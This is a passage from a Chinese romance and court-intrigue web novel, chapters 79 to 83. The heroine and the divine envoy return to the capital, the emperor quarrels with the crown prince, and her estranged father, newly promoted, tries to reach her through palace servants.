只是几日相处后,他眼睁睁看着子桑一个堂堂神使整日凑在赵玉屿旁边跟块狗皮膏药似的推都推不开,总是想方设法吸引赵玉屿的注意力,在赵玉屿的目光不在自己身上时便时不时干点匪夷所思的事情刷刷存在感,连吃饭都要互喂,不然宁愿饿死都不吃,这股子追女人的无赖劲儿看得他都自愧不如。
如此一来,再强大的滤镜也□□得稀碎。
呵,都是男人而已。
想当初他追何附子时可比这要艰难多了……
“你们今日便要走吗?”
赵玉屿听到这话反而有些舍不得。
这些日子在渝州城里虽然整日忙碌,却格外的平静安宁,仿佛他们几人便是生在渝州城的寻常百姓,不用去思考帝都的勾心斗角,不用去考虑未来的生死存亡,只拼着劲儿同街坊邻居们一起努力重建家园。
裴小侯爷俊朗一笑:“是啊,咱们在渝州呆了这么长时间,我娘都写了几封信催我带附子回去。马上也要开春了,今年的会试我得协助余侍郎举办,还有很多事情要忙呢。”
他顿了顿,“你们有什么打算吗?”
赵玉屿望向子桑,见他一脸无谓,便笑道:“我们也打算回帝都。”
裴小侯爷虽然性情良善,但到底是自小在权贵争斗中长大的,大体猜到了当初海上遇难的幕后推手,自然也明了他们此次回去会是怎样的腥风血雨。
他并不想过多参与其中,只叹了口气道:“多保重。”
赵玉屿点点头:“多谢,照顾好淳儿。”
裴小侯爷信誓旦旦:“放心,淳儿如今便是我和附子的女儿,我们定会好生照顾她的。”
“对了……”
赵玉屿走上前一步,犹豫片刻还是提醒道,“小侯爷,朝堂局势风云变化,你们最好置身事外,太子那边还是少接触为妙。”
裴小侯爷以为她在警戒自己莫要入太子一党,颔首道:“我们侯府向来不掺和朝堂纷争。”
“那就好。”
裴小侯爷收拾好东西后并未急于催促何附子离开。
等何附子诊治完最后一个病人后,他才起身替何附子收了针带和脉忱,扶着她上了马车。
两人趁城门未关,携夕阳离开了渝州城。
驿道上,马车颠簸前行。裴小侯爷见淳儿从上车便未曾说话,而是一直趴在窗边静静望向外面的风景,关切道。
“淳儿,怎么了,是饿了吗?”
淳儿摇了摇头,何附子了然:“是想玉儿姐姐了吧。”
淳儿点点头,神色忧郁。
先前在渝州城,虽然同赵玉屿他们一墙之隔,但成日见面也并未有任何离别之感。
直到此刻她才意识到,她是不是再也见不到玉儿姐姐和猴大了。
就跟再也见不到爷爷和爹爹娘亲一样。
她垂下眼眸,在眼泪和鼻涕即将溢出时,忽而听到一声熟悉的鹤鸣。
淳儿眼眸猛然迸发出惊人的亮光,撑起身子探到车窗外朝天空中望去。
瑰丽绮幻的落日里,一道白色的瘦长身影从驿道上空的紫霞中划过,为首那人一身夺目红衣,长发高束,十二金兽铃璎珞挂脖,五帝钱带束腰,肆意又张狂。
他身后,赵玉屿垂眸望向努力从马车中探出伸手拼命招手的淳儿,粲然一笑,但并未停下前行。
长鹤振翅昂颈,跃过重重林莽青蔓,朝天边隐隐可见的巍巍城池飞去。
帝都,久别重逢。
第80章
“孽障!”
巍巍大殿中,德仁帝猛然将奏折掷下,正砸到高台下笔直跪地的宋承嵘头上。
宋承嵘额角留下一道鲜血,唇色苍白,双手执礼垂首:“父皇息怒。”
德仁帝喘着粗气,跌坐在龙椅上,指着宋承嵘冷眼怒斥:“你自己看看,这上面都写得什么?!如今民间传言四起,神使被奸人所害,引得上天震怒降下责罚,渝州城因疫病死伤六成,若非仙人相救,渝州城便被灭城了!这就是你监国期间干得好事吗?!”
德仁帝这些日子因为神使失踪一事忧心忡忡,无心国事。整日闭关修炼
,祈祷神使携长生不老药平安归来,朝中重事通通交由宋承嵘打理。
没想到才几个月便出了这么大的事!
若不是黑甲卫携密信而来,宋承嵘还打算瞒着他到什么时候!
“你本事大了,连朕都敢隐瞒,怎么,想只手遮天了?别忘了,朕还没死呢!”
他怒骂道,“说,是不是你派人暗下杀手,置神使于死地!”
宋承嵘掷地有声:“儿臣不敢!还请父皇明察!”
“你不敢?”
德仁帝冷笑一声,“这些年你明里暗里同神使作对,你以为朕当真不知道?朕不过是看在你是太子,你是朕唯一有出息的儿子,所以睁一只眼闭一只眼给你留面子!可你呢?”
他盯着宋承嵘,声音嘶哑低沉,暗含杀气,“朕倒也好奇,往年神使外出祈福都未曾有事,怎么如今要去替朕求得长生不老药便好巧不巧出了事。你是不是想着反正朕这个老家伙也活不了多久了,只要除掉神使,朕得不到长生不老药,那这皇位没几年便是你的了?!”
他越说眼中杀气越甚,对着他这个平日里最看重的儿子只觉心寒。
宋承嵘猛然抬头,哀唤道:“父皇!父皇怎能如此看待儿臣!儿臣一心为父皇,为大雍,从未有过任何私心啊!”
“从未有过私心?这话你自己信吗!”
“父皇!”
“你住嘴!”
德仁帝暴怒而起,“当初你在边境被北戎暗害流落民间,是朕苦苦哀求神使推衍天数才找到了你,可你呢,你是怎么对朕的!如今见朕老了,就想夺位了!别忘了,朕不止你一个儿子!”
宋承嵘大骇,往日便是父子之间有什么芥蒂,德仁帝也从未说过这等冷酷之言。
宋承嵘眼神微暗,郑重行了一礼,双手扑地叩首:“父皇,儿臣的确从不信神使,因为儿臣心里从始至终只奉您为神。儿臣依旧记得小时候,父皇您征战四方,为了大雍,为了百姓几番负伤。儿臣记得您拓疆土、平战乱、均田令、广两税,让百姓安居乐业,让我大雍盛世无双。儿臣只是看父皇这些年太过辛苦,所以才一心想为父皇分忧,让父皇能松下重担,从未想过期满您啊!”
他双眼通红,哽咽道:“父皇,儿臣这些年驻守边疆,就是希望能尝父皇当年之苦,让父皇为儿臣骄傲。在儿臣的心里,您便是万世之君,天地独尊,儿臣如何会有二心!若父皇不信,儿臣愿意让出太子之位,只求能陪伴父皇左右,尽人子之责!”
他说罢泣泪而下,长叩不起。
德仁帝本也是看到密令一时大动肝火才说出方才之言,而今见自己最骄傲的儿子匍匐在脚下泣不成声,又被他方才那番肺腑之言说得心软,叹了口气,摆手道:“起来吧。”
“多谢父皇!”
宋承嵘抬起头,却依旧笔挺跪在地上并未起身,他泪眼如洗,几番哽咽。
德仁帝见状,起身走下高台,撩起衣袖搀扶起他:“礼儿,你是朕唯一看重的儿子,你是太子,朕曾今也是太子,坐在这位置上有诸多不易朕都明白,但是你记住了。”
他指了指高台之上的龙椅,“那个位置,未来一定是你的。但是现在,你,还是太子。”
宋承嵘再次撩起衣摆跪地郑重道:“儿臣明白,多谢父皇开恩!”
德仁帝语气轻悠:“好了,起来吧。太子之位既是一人之下万人之上,便有诸多取舍不易,渝州离帝都近,朕也明白你担心瘟疫肆虐,帝都难以幸免,虽然做法过激些,但也情有可原,这事就此作罢不必再提。”
他抚掌思忖,“只是渝州之后的安抚得多费些心思,渝州城如今难免怨声载道,那渝州知州叫……毕劲复是吧,上的奏折明里暗里都是埋怨,就差指着鼻子骂朕了。”
宋承嵘眼眸微敛:“父皇的意思,这个毕劲复该如何处置?”
德仁帝轻笑:“这人我记得他,为官不错,敢作敢为,爱民如子,就是性子还需要磨练,日后可堪当大用。这次渝州之灾他是出了不少力的,既然要让百姓看到朝廷的态度,那便该重赏。调回来吧,还有,扬州知州也给些赏赐。”
“是,儿臣明白。”
德仁帝瞥了他一眼:“礼儿,为人君者要有大胸怀,识人善任、不计前嫌,而人才如鲫过江,尽入我怀,如此方能成大事也。你的性子,也得再练练。”
宋承嵘垂眸:“儿臣明白。”
德仁帝又问道:“对了,神使一事查得如何了?”
宋承嵘颔首:“儿臣一直派人寻找神使,渝州城之事儿臣也有所耳闻,但到底是传言没有真凭实据,所以儿臣未敢轻易告呈父皇,担心您失望。不过若是神使当真如古谕所言天命二十而归,那便不该提前陨落。”
他未曾说完,但话意已明。
若神使当真是仙人转世,二十归位,那便不会死。若他死了,便是假神子。
若他未死,自然会回来。
德仁帝叹了口气:“但愿神使平安归来。”
他话音未落,一道惊呼从殿外传来,太监许士君点着碎步匆匆朝大殿而来,边跑边道:“陛下,陛下大喜!神使回来了,神使回来了!”
宋承嵘听到这话瞳孔猛缩,德仁帝双眼发亮,快步上前抓住许士君的胳膊大喜道:“你说什么,神使当真回来了?!”
“是啊是啊!老奴恭喜陛下,神使回来了!”
许士君翘着兰花指笑道,“全帝都的百姓都瞧见了,神使驭鹤飞行,自渝州而来,有群鹤环绕,万鸟朝奉,是以帝都奇观也!”
德仁帝连忙朝殿外跑去:“快,快带朕去见神使!”
*
赵玉屿抱着子桑的腰肢,望着脚下座座高楼寰宇和从家中跑出,涌入大街小巷叩首朝拜的百姓,忽然有一种恍如隔世之感。
他们在清晨朝霞升起时离开帝都,又在绚烂晚霞中回到帝都。
大片大片紫瑰色的云彩下,巍峨壮丽的皇宫尽入眼底。子桑回归得极其高调,绕着帝都城环绕一圈,向所有人宣告着他的归来。
而今,德仁帝应当也已知晓了他回来的消息。
但子桑却并未飞入皇宫,而是飞落在奉仙宫的温泉池旁。
他跳下鹤背便脱起衣裳。
赵玉屿对于他的旁若无人已经习惯,将落在地上的衣服一件件捡起丢在篓子里,正待做好本职工作,去奉仙宫各神侍那露个脸,交代好子桑今日的吃穿用度,就被拉住了胳膊。
子桑趴在温泉边沿,一只胳膊压在脑袋下,雾濛濛的水汽淹润寥廓,凝在他裸露出的肌肤上,小臂的肌肉曲线因为水汽的折射愈加明显。
“一起洗啊。”
赵玉屿:“……”
不,她还没到这么开放的思想境地。
赵玉屿果断拒绝:“我才不要。”
子桑却不解:“这里足够大,为什么不行。”
这是大不大的问题吗?这是节操的问题啊!
当然,子桑没啥节操。
这些日子的相处让赵玉屿也明白了,跟子桑解释节操就是对牛弹琴白费口舌,最好的办法就是直接扭头走人。
她想要直接拨开子桑的手,却发现怎么都拨不开。
子桑不愿意撒手,语气含着期待撒娇道:“一起洗嘛。”
他歪了歪头弯起嘴角,“我帮你搓澡。”
赵玉屿:“……”
为什么要在如此暧昧的地方一脸纯真的说
出如此撩骚的话语啊!
犯规了,犯规了!
赵玉屿连忙捂住鼻子,见他不愿意撒手,磨了磨牙直接要张口咬上去。
子桑见她着实不愿意,撇了撇嘴,不得不松开手,还是不死心道:“你若是不喜欢在外面,咱们也可以去屋里。”
赵玉屿深吸一口气:“神使大人,我现在只想去御膳房,我还得先安排好您接下来的晚膳才能洗澡呢!”
子桑不以为意:“这些让其他人做不就好了。”
“神使大人,这里是奉仙宫,咱们不是外面流浪了。我要是同你温泉共浴,我的名声还要不要了。不行,免谈!咱们今后要保持距离!”
赵玉屿自然还不知道自己的名声在奉仙宫早就比子桑的节操碎得还要彻底,她扭身朝浴池外走去。
猴大已经勤勤恳恳干好本职工作,熟练地抄起搓澡刷搓上皂角要给子桑搓背。
那只鳄鱼已经从水底浮上来,露出两只金黄色的竖瞳,为子桑的回来而兴奋地在他周身游动。
子桑瞧着赵玉屿离开的背影心里有些委屈气闷,为什么玉儿不愿意同他一块沐浴呢?
他瞧着不识趣的鳄鱼一脚将它踢开,鳄鱼顿时翻了个身子,委委屈屈沉入水中,再次当起了搓脚板。
赵玉屿离开温泉池后,一路上见到奉仙宫的神侍。众人已然瞧见了仙鹤环城,见到她也并不惊愕,只垂首行好。
出行一行人唯独余下了赵玉屿和神使大人,明眼人都看得出赵玉屿的身份地位必定今非昔比,说不定连李嬷嬷都要退居次位。
赵玉屿对此倒不在意,她如往常一样到厨房安排好子桑的晚膳后正待离开,鬼使神差的,忍不住回首望向屋子里众人忙碌的身影却有些恍惚。
窗口那位置如今是一个年轻人,她原先未曾见过他的身影,许是他们离开之时新调来暂替王厨的位置。
赵玉屿按了按胸口,王厨交给她的秘籍,她一直带在身上从未离身。
窗外绿影斑驳,她看着那人,仿若又瞧见了以前那个总是笑呵呵同她一道试菜的身影。
你不会白死的。
赵玉屿攥紧心口,你们都不会白死的。
80-90
第81章
赵玉屿安排好晚膳后,也舒舒服服泡了个澡后回屋小憩片刻。
这几个月在外面风波劳碌,自然没有奉仙宫里各色用品一应俱全来得舒服。
帐暖生香,子桑喜欢用月麒香,她每日侍奉屋子里也沾染了些香味。闻着熟悉味道,赵玉屿恍恍惚惚陷入梦乡,再一睁眼时竟然已经天色朦胧泛白。
糟了,她怎么睡着了,子桑没瞧见她必定又要生气。
赵玉屿连忙起身,正待摸到外衣穿上,就感到一双手揽过她的腰肢,单薄的后背贴上了一个结实滚烫的胸膛。
赵玉屿身子一僵,就听到耳边传来的略微沙哑含着困意的声音。
“再睡会。”
子桑的下巴垫在她的肩弯处蹭了蹭,将她整个人拦在怀中朝一旁歪倒。
天旋地转之间,赵玉屿又倒在了床铺上。
子桑从背后搂着她,一手垫在她的脑袋下,一手抚在她的腰肢上轻轻摩挲两下,而后收紧将她整个人圈在怀中,发出满足的叹息。
他的鼻息微微喷洒在赵玉屿的后颈,激起一片战栗。
赵玉屿回过神来:“你怎么在这里?”
子桑困倦得打了个哈欠,有些抱怨:“你还说呢。昨天一晚上不见你人影,我瞧不见你吃不下饭也睡不着觉,找了你半个奉仙宫才发现你在这睡觉呢。”
他有些委屈,“你居然一个人躲在这里睡觉。”
赵玉屿无语,什么叫躲啊,这是她的房间好不好。
“那你就自己偷偷溜进来爬我的床。”
子桑狡辩:“我是光明正大进来的。”
他将头埋在赵玉屿后颈里,“你又不是不知道,没你在身边我睡不着的。”
怎么还撒起娇来了:“没遇到我之前你不也睡得好好的。”
子桑理直气壮,将她朝怀里一带,搂得更紧了:“以前是以前,现在是现在。”
“”
行吧,反正奉仙宫都是你的地儿,你说了算。
赵玉屿翻身望向他:“对了,昨日宫里没人找你吗?”
老皇帝心心念念长生不老药那么久,如今人回来了还不得上赶着来寻。
子桑轻“唔”一声,撩起赵玉屿的长发把玩:“老皇帝倒是派人来了一趟,不过我让猴大它们把人给撵出去了,懒得应付。”
这样也好,至少得让德仁帝知晓神使的怒气。
虽然回来了,但不代表神使遇刺一事便被轻易原谅了,该有的态度还是要有的。
子桑忽而道:“对了,你爹也来了,瞧着对你倒甚是关切。”
子桑虽言语,话中却含着讥讽。
赵玉屿自然知道这便宜爹是来刷脸的,本也懒得理他,但瞧见子桑莫测的笑脸,瞪大眼睛惊愕道:“你不会见他了吧?”
“嗯。”
子桑应了一声,“到底是你爹爹,还是要瞧瞧他长什么样子。不过瞧着同你一点也不像。”
他有些嫌弃,那张脸,那双眼睛,满是世故、算计与浑浊,同玉儿没有丝毫相像之处。
赵玉屿“嗐”了一声:“你见他做什么,你连圣上的人都不见反而见了他,还不知道会引起怎样的风波。”
子桑不以为意:“管他呢,再大的风波也落不到咱们头上。”
他想见便见了,不过这种父亲同他那瑶山的便宜爹也没什么两样,不值得玉儿耗费心思。
子桑眼里溢出一丝扭曲病态的满足感,瞧见赵侍郎满心算计攀附的那一刻,他不由自主笑出了声,心中幸福又阴暗地想着,玉儿同他一样,都是被抛弃的孩子。
多好啊,这个世界上只有他们两个人相依为命。
他们是彼此的唯一,没有任何人可以介入其中。
赵玉屿倒也不做多想,她没时间理会赵家的事情,不论赵家是因此平步青云还是深陷囹圄都是他们自己的选择,与她无关。
反而是另外一件事,赵玉屿道:“长生不老药的事情你打算怎么办?”
既然回来了,那长生不老药至少得有个说法。
若是说因为刺杀导致神使身受重伤错过了寒冬之时回瑶山的最佳时机,长生不老药已经化归天地,这么编倒也能自圆其说。
反正其他人也不知道瑶山到底发生了什么,还不是任由他们编。
得不到长生不老药,还能让德仁帝对宋承嵘心怀芥蒂。
子桑却懒散道:“他想要便给他呗。”
赵玉屿:“?你从哪找来药?”
本就没有的东西,如何给。
子桑狡黠一笑:“老皇帝又没见过长生不老药长什么样子。”
*
清正殿中,德仁帝一夜未眠。
神使虽然回来了,却闭门不见,甚至将他派遣的使者直接撵出奉仙宫,可见是动了大怒。
这可如何是好?
还有那长生不老丹,神使到底取回来没有?
德仁帝愁得在殿中来回踱步,许士君从外殿踩着小碎步进来,见德仁帝赤脚踩在地上,连忙躬身关切道:“圣上,如今尚未入夏,地气寒凉,当心龙体。”
德仁帝烦躁地一甩衣袖:“朕如今满脑子都是朕的长生不老药!哪有心情关心地凉不凉,天暖不暖的!你若是当真替朕分忧,就该想想如何让神使平息怒气!”
许士君被骂得头越压越低,直到德仁帝停了话,他才涎着脸笑道:“圣上,正好老奴有一事禀报,或许能替圣上分忧。”
“那还不快说?”
“是。”许士君道,“昨日有不少大臣们都派人去奉仙宫送了祝祷,其他人皆被拦于宫外,唯有一人进去了。”
德仁帝眉梢微动,也起了好奇:“哦?那人是谁?”
“正是吏部侍郎赵谦赵大人。”
“赵谦”
德仁帝撩着胡须思忖道,“朕记得赵卿的女儿便是上次神使带到宫宴的那个小神侍吧。”
许士君笑道:“是。赵大人的庶长女赵玉便是神使大人身边的贴身侍女。听闻这玉儿姑娘在奉仙宫甚是招神使喜欢,吃穿用度一应皆同神使相当,当初去瑶山时神使也只带了她一个贴身侍女。如今回来了的行仗队里除了神使也只有她一人,可见是神使看中的。”
德仁帝来了兴趣:“看来这小妮子有几分仙缘。”
“老奴想,这赵大人
能面见神使怕也是沾着这个女儿的光彩。既如此,不如让赵大人同女儿叙叙旧,也好解父女相思之苦。”
“好,就这么办。”
德仁帝笑道,“朕记得赵卿在吏部也待了些年头,该动一动了。正好礼部的宋尚书明年不就该归田了吗,尚书之位不可缺,便将赵卿提为礼部尚书,再赐良田百亩。”
许士君应下:“是,老奴这就是去办。”
*
“敕:吏部侍郎赵谦,以尔性有通方,才无滞用,以大贤之后,为当世之称。式畴尔能,可司重任,爰以国计之重,特授礼部尚书,掌礼仪祭祀之职,兼科举外事之责。奉敕如右,牒到奉行。”
许士君缓缓合上圣旨,笑道,“赵尚书,快接旨吧。”
赵谦连忙大礼叩首,高呼三声:“微臣多谢圣上!圣上万岁万岁万万岁!”
而后撩起衣摆,双膝跪地前行三步,高举双臂接过圣旨。他身后一跪众人,皆是欢喜。
许士君扶起许士君:“赵尚书大喜,快快请起。”
赵谦抬了抬手,一旁的下人会意走上前,将红包奉上。
“许公公,劳烦您特意出宫宣旨,一点谢意不足挂齿。”
许士君见他识趣,含笑收起红包,朝赵谦伸出手臂:“赵大人这边请一步。”
“哎。”
赵谦同许士君到了偏僻处,许士君尖着嗓子朝他竖起了大拇指:“赵大人,你们赵家出了个了不得的好女儿呀。”
赵谦听到这话一怔:“许公公此话怎讲?”
“赵大人,你那大女儿赵玉如今可是神使身边的红人,将神使伺候得甚为满意。神使大人高兴了,陛下便高兴,陛下高兴了,咱们这些臣子才能高兴不是。”
赵谦听出他话中之意,面色不由一僵,转而不露声色拱手笑道:“小女不才,能得神使大人青眼也是因为圣上当初垂爱,选了她入奉先宫侍奉才有得今日成就。”
许士君连忙道:“正是这个理!赵大人,你们父女也许久未见,统该好生叙叙,可切莫忘了父女之情。”
他虽说得是父女之情,但话里话外莫不是君臣之节。
赵谦艰难一笑:“正是,正是。”
见话传到了,许士君一甩浮尘,满意道:“成了,天色也不早了,老奴还得回宫复旨呢,赵大人请留步吧。”
“许公公慢走。”
待许士君走后,赵夫人走上前询问:“夫君,怎么了?”
赵淑已兴奋道:“爹,您如今是尚书了,那同德贤她爹爹也算是平起平坐,往日德贤总瞧不起我,如今看她还怎么嚣张!”
她旁边,赵家小公子赵晖却道:“爹,圣上在这时候提拔了您,恐怕没那么简单吧。”
赵谦叹了口气:“圣上提携我是因为你大姐姐在神使面前得了脸。如今神使闭门不出,不愿面见圣上帝都人尽皆知。圣上便想到了我,想让我去找玉儿通情,探探口风。”
听见赵玉屿的名字,赵淑冷了脸:“她如今狗仗人势,倒是鸡犬升天了。”
“闭嘴!你这说得什么话?!她是你姐姐,如今又是神侍,你骂她是狗,你骂得是你爹我还是神使大人?”
赵谦冷脸低声呵斥,“都怪你娘平日里将你娇惯得不成样子!什么话都能不过脑子说得出口!你姐姐不过比你大两岁,如今已经是神使面前的红人了,你呢?你除了每日绣花还会做什么?!”
赵淑见平日和善慈祥的父亲今日竟然这般训斥她,难以置信地望向他:“爹,你竟然为了赵玉骂我?”
第82章
赵淑气道:“赵玉她不过是去给那个早夭鬼当暖床婢女罢了,秋后蚂蚱刹那风光,爹您糊涂了,您是父亲她是女儿,她怎么能敢让您几次三番向她低三下四求情!”
“放肆!”
赵谦登时一巴掌狠狠扇上去,“我看平日里当真是将你惯坏了,你居然敢说出这种话来!”
赵淑被这雷霆之势的一巴掌打偏了脸,半晌没回过神来。
赵谦之前一向是慈父形象,从小到大对她几乎有求必应,从未动过怒。
赵淑不可置信:“爹,你打我?你为了赵玉打我?”
赵谦却不似往常的慈祥,冷脸怒斥道:“我今日不打你,明日便是朝廷的廷杖落在你身上!你看看你自己如今被娇惯成什么样子了,连这种大逆不道的话都能说出口,你是想害死我们全家吗!”
赵夫人虽心疼女儿,却也被她方才没分寸的话惊了一跳,低声斥责道:“淑儿,休得再胡言,回房去!”
赵淑委屈:“娘!”
“回房!”
见爹娘竟然都不帮她,赵淑气得眼泪直流,推开赵晖捂着脸朝后院跑去。
赵谦气得直摇头:“你看看,你看看这孩子成什么样子了!日后还不知道要闯出什么大祸!”
捧在掌心的小女儿不成器,冷落在庄子里的大女儿倒一步登天。
若是早知道玉儿有如此能耐,他必定会好好照拂她,哪会落到如今两难的境地。
赵夫人打圆场:“夫君莫要气坏了身子。淑儿这些年的确是性子骄纵些,关她几日禁闭让她好好反思。”
“要是这么简单就好了!”
见赵谦唉声叹气,赵夫人也料到他定是有难处,缓缓问道:“夫君可是在忧心玉儿?”
提到玉儿,赵谦更是头疼,又重重叹了口气:“昨日我去奉仙宫,并未见到玉儿的面,反而是被神使大人唤了去。”
赵夫人不解:“那这应当是好事啊?”
“可那神使只瞧了我一眼,什么话也没说便让我走了,就连我送的东西也一并让我带回来。圣上在这个节骨眼上提携我,分明就是想让我分忧,可我我有心无力啊。”
赵谦一摊手:“我连着两次,连玉儿的面都未曾见到,但若是不能为圣上分忧,那圣上如何看我?满朝文武又如何看我?”
赵夫人自然知晓这次事情何等重要:“都说伴君如伴虎,圣上喜怒一息之间,今日升明日就可能下大狱,夫君,这次事情务必成功才行。”
“为夫何尝不知。”赵谦摇头,“可我见不到玉儿啊。”
赵夫人双眸微转,思忖道:“要不就派人传话入奉仙宫,说您病重,想要见玉儿一面。她总不至于连这点心愿都不答应吧。”
赵谦犹豫:“这这行得通吗?”
一旁一直未曾说话的赵晖却轻笑道:“母亲糊涂了。大姐姐如今已经被神使赐名玉儿,早已去了赵姓,下了宗谱。若大姐姐回来,那便是忤逆神使之命,如何使得?再者,咱们之前对大姐姐着实算不得好,大姐姐好不容易才有了今日,她不会为了咱们得罪神使大人的。”
他一番话直戳赵谦心坎,他也认为玉儿不会轻易原谅他们:“那晖儿,依你看此事该如何是好?”
赵晖望向院子里的那棵已经枯死的杏树:“倒也不难。我同宋尚书的小儿子有些交情,听闻宋夫人每隔一段时间都会向奉仙宫送去些银子打点,让宋家大小姐在奉仙宫能过得舒坦些,想来奉仙宫中也有些门道。虽前不见人,但带些东西口信进去,倒也不难。”
*
赵玉屿这几日总觉得身边的人瞧着她的目光怪怪的。
讨好、艳羡、畏惧、又有一丝疏离。
宋解环捏起针线打了个结笑道:“前去瑶
山的队伍只有你同神使大人回来了,而今神使大人又整日离你不能,她们自然有些奇思怪想罢了。”
赵玉屿闭眼哀叹,好吧,看来她的名声已经稀碎,拾都拾不起来了。
她描摹着新设计的画稿:“宋姐姐,你这些日子在宫里还好吗?”
宋解环笑了笑:“又什么好不好的,整日绣绣花练练字,从小到大都是这么过来的,神使大人不在呀,咱们这些人倒也清净些,不用成日提心吊胆的了。”
赵玉屿放下笔望向她:“我是说,你就当真打算一辈子待在这里吗?”
见宋解环发怔不解的表情,赵玉屿道:“你就没想过出去?”
宋解环苦笑一声:“去哪呢?离开奉仙宫就要嫁人,女人这辈子能生存的地方不是娘家就是夫家,统共不过后院那么大点地儿。我已经算幸运的了,至少可以躲在这里享清闲,不用面对不爱的夫君举案齐眉冷冰冰地过一辈子。”
赵玉屿连忙道:“怎么会,除了后院,还有许多许多的地方可以去。这次我同神使大人外出,才发现这天下竟有如此多的可观秀景。千川入海流,万山拥雪域,离离原上草,袅袅一炊烟。还有大漠黄沙,林莽乱峰,是在这后院,在帝都不可想象的存在。既然你已经决定孑然一身,那与其将自己囚禁在这里一辈子,为何不出去看看呢?”
宋解环听着她说到那些景色时眼中映射的光芒而心动,却又迷茫。
她自出生起就从未离开过帝都,对于赵玉屿所说的那些话的想象也仅仅来自于书画。
若说没有渴望是不可能的,她也曾幻想过同心上人一起离开帝都,游历山川,最后在边陲的城池定居,为保大雍边境安定付出一生。
可如今故人已去,若她独自一人面对这些,却又心生畏惧。
宋解环摇了摇头:“我,我不行。”
赵玉屿握住她的手:“不试试怎么知道,这世界没有那么可怕的。我这次出去曾遇到过一个女大夫,她自小便是孤儿,凭借一身医术走南闯北,独步天下,成为人人爱戴的妙手神医。她可以做到,你也一定可以。而且也不是说要一人独行,若是你想离开,到时候我可以介绍你们认识,你们一起前行也算是有个伴儿。”
宋解环犹豫片刻:“我,我再想想。”
赵玉屿并未想过让她一下想通,只是不忍心瞧着她连外面的世界是什么样子都不知道,便将自己封闭在这白墙黑瓦昏昏碌碌过完一辈子。
她笑道:“这事不急,人生还很长很长,你有足够的时间考虑。”
两人正忙活着手上的活儿,忽而听到院外传来一声高笑。
“玉儿姑娘在吗?”
赵玉屿朝屋外探了探头,放下笔迎上前:“张嬷嬷,您怎么来了?”
第83章
“张嬷嬷,您怎么来了?”
张嬷嬷热忱地上前一步,牵起赵玉屿的手亲热道:“玉儿姑娘,前段时间各地进奉了些贡品,这几匹云锦成色鲜亮,连皇宫里统共也有三匹,除了神使大人那儿留的一匹,剩下的可都在这里了。”
赵玉屿瞧了瞧她身后几个丫头怀中裹起的云锦:“张嬷嬷,这些还是收到库里吧,神使大人的衣服花样多费料子,还是备着些好。”
“哎呦,我的玉儿姑娘啊。”张嬷嬷一摆手,面上调笑,“这些呀可都是神使大人亲自开口要给玉儿姑娘您送过来的,美人旦配金缕衣,这衣服自然得是姑娘穿了,神使大人才满意啊。”
赵玉屿也不好推诿便顺水推舟道:“我一个人也用不到这么多料子,着实浪费了。这样,我留下一匹同宋姐姐做衣裳就好。剩下的一匹送给您和李嬷嬷两人做几件新衣裳,一匹放回库房,给神使大人备着就好。”
听到这话张嬷嬷有些犹豫,赵玉屿知道她担忧,笑道:“嬷嬷,这偌大的奉仙宫都是您和李嬷嬷在操持着,我们这些姑娘瞧得也心疼。这衣服既然是神使大人送给我的,自然由我处置,就当是我孝敬你们二老的,若是神使大人问起来我自会去同他说的。”
张嬷嬷见她如此上道,顿时喜笑颜开:“既然玉儿姑娘这么说了,那我就替李嬷嬷先谢谢姑娘了。”
她朝后一招手:“将一匹锦缎送去我屋里,一匹送去库房存着,剩下一匹送到彩衣坊给两位姑娘做几套衣裳。”
“是。”
见那几个丫头离开,张嬷嬷笑着脸拉起赵玉屿的手走到一旁无人处:“玉儿,嬷嬷一早就瞧出来你是个好孩子,人长得又漂亮,手艺精巧多才多艺,心地又善良,难怪神使大人喜欢你。”
赵玉屿被她这突如其来的热忱夸赞激得起鸡皮疙瘩:“张嬷嬷,您有什么事情吗?”
张嬷嬷一笑:“哎呦玉儿,您当真是个聪明的孩子。”
赵玉屿:“”
倒也不是,只是你眼里那讨好的算计都快溢出来了。
张嬷嬷左右瞧了瞧,见四下无人,从袖口抽出一封信塞给她,低声道:“倒也不是什么大事,就是赵尚书托我给你送来了一封信,说是有要事,务必要交给您。”
赵玉屿:“赵尚书?”
见赵玉屿一脸困惑,张嬷嬷笑道:“玉儿姑娘您还不知道呢吧,赵谦赵大人已是礼部尚书了。”
礼部尚书?不是宋解环的父亲吗?
看到她望向屋中的目光,张嬷嬷解释道:“宋大人年事已高,明年便要归田了,圣上便提携了赵大人成为新任礼部尚书,今日刚刚上任。”
原来是这样。
赵玉屿明面上已经同赵家断绝了关系,这份信应当是赵家他们特意找了门路才摸到张嬷嬷这儿。
张嬷嬷怕是也收了不少银子。她也不想断人财路,便接过了信:“行,这信我收下了,多谢张嬷嬷了。”
张嬷嬷连忙笑道:“谢什么,玉儿姑娘,我一向是最疼你的,若是有什么需要尽管同嬷嬷说,啊。”
送走了张嬷嬷,赵玉屿将信收好回到屋里,见宋解环在低头绣着花,恬静得仿佛一幅画。
她坐下道:“宋姐姐,宋大人明年就要告老归田的事情你知道吗?”
宋解环手一顿,颔首道:“知道,娘亲前些日子派人写信给我了。”
按照大雍的惯例,当朝官员若是辞官便不得留在帝都。
“那你不就见不到你的家人了吗?”
宋解环笑了笑,抽出针线:“出去了就能见到了吗?没出去还有些亲情念想,出去了便成日争吵,他觉得为了我好,却没想过我愿不愿意,久而久之父女情分也都吵没了。”
赵玉屿默了默:“其实我觉得你家人对你还挺好的,每个月都定期给你送钱来,有补品首饰这些好东西也都想着给你送来,还会打点张嬷嬷她们,生怕你在奉仙宫过得不舒坦。或许你爹爹处理父女关系的方式有问题,但这世上总不会事事顺心,即便是再亲近的人也总会有意见不合的地方。你们可以找时间好好坐下来聊一聊,总好过就此生分,再也见不到面,成了一辈子的遗憾要好。”
宋解环摇了摇头:“我爹那个人认死理,固执得很,他认定的事情是没有商量的余地的。”
赵玉屿笑了笑:“也总好过赵谦那老头子,连自己亲生女儿放在庄子里十几年快饿死了都不过问来得强吧。”
宋解环听到这话有些愕然。
她之前只知晓赵玉屿在家中不受宠,却没想过竟会是这般的遭遇,也从未想过有父亲当真会对自己的女儿如此狠心。
听到赵玉屿风轻云淡笑话似的将以前的痛苦说出,她眼中闪过一丝心疼,握住赵玉屿的手:“玉儿”
赵玉屿原是想安慰她,没想到这下倒变了处境,她回握住宋解环的手笑道:“你可千万别感动哭了,我如今不是苦尽甘来了吗,你瞧。”
她从袖子里抽出信封抖了抖,“赵家那群人现在正上赶着巴结我呢。”
